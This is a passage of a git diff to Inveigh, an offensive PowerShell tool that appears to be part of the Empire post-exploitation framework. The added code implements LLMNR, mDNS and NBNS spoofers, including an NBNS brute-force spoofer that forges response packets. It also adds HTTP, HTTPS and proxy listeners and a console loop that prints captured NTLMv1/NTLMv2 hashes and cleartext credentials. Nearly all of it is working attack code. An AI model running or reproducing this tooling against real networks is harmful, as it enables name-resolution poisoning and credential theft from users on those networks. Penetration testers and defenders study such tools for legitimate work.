$NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($source_IP -eq $IP) + { + $NBNS_response_message = "- local request" + } + else + { + $NBNS_response_message = "- something went wrong" + } + + } + + if($NBNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + } + + $NBNS_request_data = "" + } + + } + + $NBNS_UDP_client.Close() + } + +# NBNS BruteForce ScriptBlock +$NBNS_bruteforce_spoofer_scriptblock = +{ + param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) + + $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() + + $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, + 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($NBNSBruteForceHost) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + for($i=0; $i -lt $hostname_encoded.Count; $i++) + { + + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + + } + + $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + $NBNS_paused = $false + $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $NBNS_bruteforce_UDP_client.Connect($destination_point) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + } + + while($inveigh.running) + { + + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.running) + { + + if($NBNS_paused) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $NBNS_paused = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + } + + } + + for ($i = 0; $i -lt 255; $i++) + { + + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + $NBNS_bruteforce_UDP_client.send($NBNS_response_packet,$NBNS_response_packet.Length) + + if($inveigh.hostname_spoof -and $NBNSBruteForcePause) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $NBNS_paused = $true + break NBNS_spoofer_loop + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + } + + } + + } + + } + + } + + Start-Sleep -m 5 + } + + $NBNS_bruteforce_UDP_client.Close() +} + +# Control Loop ScriptBlock +$control_scriptblock = +{ + param ($ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime) + + $inveigh.control = $true + + function StopInveigh + { + param ([String]$exit_message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + } + + } + + if($inveigh.running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.running = $false + } + + if($inveigh.relay_running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.relay_running = $false + + } + + $inveigh.HTTPS = $false + } + + if($NBNSBruteForcePause) + { + $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause + } + + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.running) + { + + if($NBNSBruteForcePause -and $inveigh.hostname_spoof) + { + + if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + + } + + if($RunCount) + { + + if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) + { + StopInveigh "run count" + } + + } + + if($RunTime) + { + + if($control_stopwatch.Elapsed -ge $control_timeout) + { + StopInveigh "run time" + } + + } + + if($inveigh.file_output) + { + + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveAt(0) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.POST_request_file_queue.Count -gt 0) + { + $inveigh.POST_request_file_queue[0]|Out-File $inveigh.POST_request_out_file -Append + $inveigh.POST_request_file_queue.RemoveAt(0) + } + + } + + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + + Start-Sleep -m 5 + } + + $inveigh.control = $false +} + # End ScriptBlocks # Begin Startup Functions -# HTTP/HTTPS Listener Startup Function +# HTTP Listener Startup Function function HTTPListener() { - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($inveigh.HTTP) - { - $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') - } - - if($inveigh.HTTPS) - { - $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() + $proxy_listener = $false + $HTTPS_listener = $false $HTTP_runspace = [RunspaceFactory]::CreateRunspace() $HTTP_runspace.Open() $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $HTTP_powershell = [PowerShell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($WPADAuth) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } +Start-Sleep -m 50 + +# HTTPS Listener Startup Function +function HTTPSListener() +{ + $proxy_listener = $false + $HTTPS_listener = $true + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +Start-Sleep -m 50 + +# Proxy Listener Startup Function +function ProxyListener() +{ + $proxy_listener = $true + $HTTPS_listener = $false + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + # Sniffer/Spoofer Startup Function function SnifferSpoofer() { @@ -1792,206 +3995,390 @@ function SnifferSpoofer() $sniffer_powershell.Runspace = $sniffer_runspace $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( - $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( - $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null + $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($IP).AddArgument($LLMNR).AddArgument( + $LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( + $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument( + $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument( + $SMB).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument( + $SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval) > $null $sniffer_powershell.BeginInvoke() > $null } +# Unprivileged LLMNR Spoofer Startup Function +function LLMNRSpoofer() +{ + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $LLMNR_spoofer_runspace.Open() + $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $LLMNR_spoofer_powershell = [PowerShell]::Create() + $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace + $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $LLMNRTTL) > $null + $LLMNR_spoofer_powershell.BeginInvoke() > $null +} + +# Unprivileged mDNS Spoofer Startup Function +function mDNSSpoofer() +{ + $mDNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $mDNS_spoofer_runspace.Open() + $mDNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $mDNS_spoofer_powershell = [PowerShell]::Create() + $mDNS_spoofer_powershell.Runspace = $mDNS_spoofer_runspace + $mDNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $mDNS_spoofer_powershell.AddScript($mDNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $mDNS_response_message).AddArgument($mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument( + $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferIPsIgnore) > $null + $mDNS_spoofer_powershell.BeginInvoke() > $null +} + +# Unprivileged NBNS Spoofer Startup Function +function NBNSSpoofer() +{ + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_spoofer_runspace.Open() + $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_spoofer_powershell = [PowerShell]::Create() + $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace + $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument( + $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferIPsIgnore).AddArgument($NBNSTTL) > $null + $NBNS_spoofer_powershell.BeginInvoke() > $null +} + +# NBNS Brute Force Spoofer Startup Function +function NBNSBruteForceSpoofer() +{ + $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_bruteforce_spoofer_runspace.Open() + $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() + $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace + $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( + $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( + $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null + $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null +} + +# Control Loop Startup Function +function ControlLoop() +{ + $control_runspace = [RunspaceFactory]::CreateRunspace() + $control_runspace.Open() + $control_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_powershell = [PowerShell]::Create() + $control_powershell.Runspace = $control_runspace + $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_powershell.AddScript($control_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $NBNSBruteForcePause).AddArgument($RunCount).AddArgument($RunTime) > $null + $control_powershell.BeginInvoke() > $null +} + # End Startup Functions # Startup Enabled Services # HTTP Server Start -if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'N') +if($HTTP -eq 'Y') { HTTPListener } -# Sniffer/Spoofer Start - always enabled -SnifferSpoofer +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener +} -if($inveigh.console_output) +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener +} + +# Sniffer/Spoofer Start +if(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' -or $Inspect) -and $elevated_privilege) +{ + SnifferSpoofer +} +elseif(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y') -and !$elevated_privilege) { - if($ConsoleStatus) - { - $console_status_timeout = new-timespan -Minutes $ConsoleStatus - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + if($LLMNR -eq 'Y') + { + LLMNRSpoofer } - :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + if($mDNS -eq 'Y') + { + mDNSSpoofer + } + + if($NBNS -eq 'Y') + { + NBNSSpoofer + } + + if($NBNSBruteForce -eq 'Y') + { + NBNSBruteForceSpoofer + } + +} + +# NBNSBruteForce Spoofer Start +if($NBNSBruteForce -eq 'Y') +{ + NBNSBruteForceSpoofer +} + +# Control Loop Start +if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $NBNSBruteForcePause -or $RunCount -or $RunTime) +{ + ControlLoop +} + +# Console Output Loop +try +{ + + if($inveigh.console_output) { - while($inveigh.console_queue.Count -gt 0) - { + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else + :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) { switch -wildcard ($inveigh.console_queue[0]) { - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" + {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} { - if($inveigh.file_output) + if($inveigh.output_stream_only) { - Write-Warning $inveigh.console_queue[0] + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) } - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } - "* for relay *" + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + if($ConsoleOutput -eq 'Y') + { - "* local administrator *" + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } default { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) } - } + } } - } - - if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) - { + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) + { - if($inveigh.cleartext_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) - $inveigh.cleartext_list.Sort() - - foreach($unique_cleartext in $inveigh.cleartext_list) + if($inveigh.cleartext_list.Count -gt 0) { - if($unique_cleartext -ne $unique_cleartext_last) + Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) { - Write-Output($unique_cleartext + $inveigh.newline) + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext } - $unique_cleartext_last = $unique_cleartext + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) } - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) - } + if($inveigh.POST_request_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique POST request captures:" + $inveigh.newline) + $inveigh.POST_request_list.Sort() + + foreach($unique_POST_request in $inveigh.POST_request_list) + { + if($unique_POST_request -ne $unique_POST_request_last) + { + Write-Output($unique_POST_request + $inveigh.newline) + } + + $unique_POST_request_last = $unique_POST_request + } + + Start-Sleep -m 5 + } - if($inveigh.NTLMv1_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + if($inveigh.NTLMv1_list.Count -gt 0) { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) { - Write-Output($unique_NTLMv1 + $inveigh.newline) + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account } - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - $unique_NTLMv1_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) - { - Write-Output($NTLMv1_username + $inveigh.newline) - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv2_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) { - Write-Output($unique_NTLMv2 + $inveigh.newline) + Write-Output($NTLMv1_username + $inveigh.newline) } - $unique_NTLMv2_account_last = $unique_NTLMv2_account + Start-Sleep -m 5 } - - $unique_NTLMv2_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + else { - Write-Output($NTLMv2_username + $inveigh.newline) + Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } - else + + if($inveigh.console_input) { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) - } - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 } - Start-Sleep -m 5 + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.running = $false } } diff --git a/data/module_source/collection/Invoke-InveighBruteForce.ps1 b/data/module_source/collection/Invoke-InveighBruteForce.ps1 deleted file mode 100644 index 1a2760e..0000000 --- a/data/module_source/collection/Invoke-InveighBruteForce.ps1 +++ /dev/null @@ -1,1284 +0,0 @@ -function Invoke-InveighBruteForce -{ -<# -.SYNOPSIS 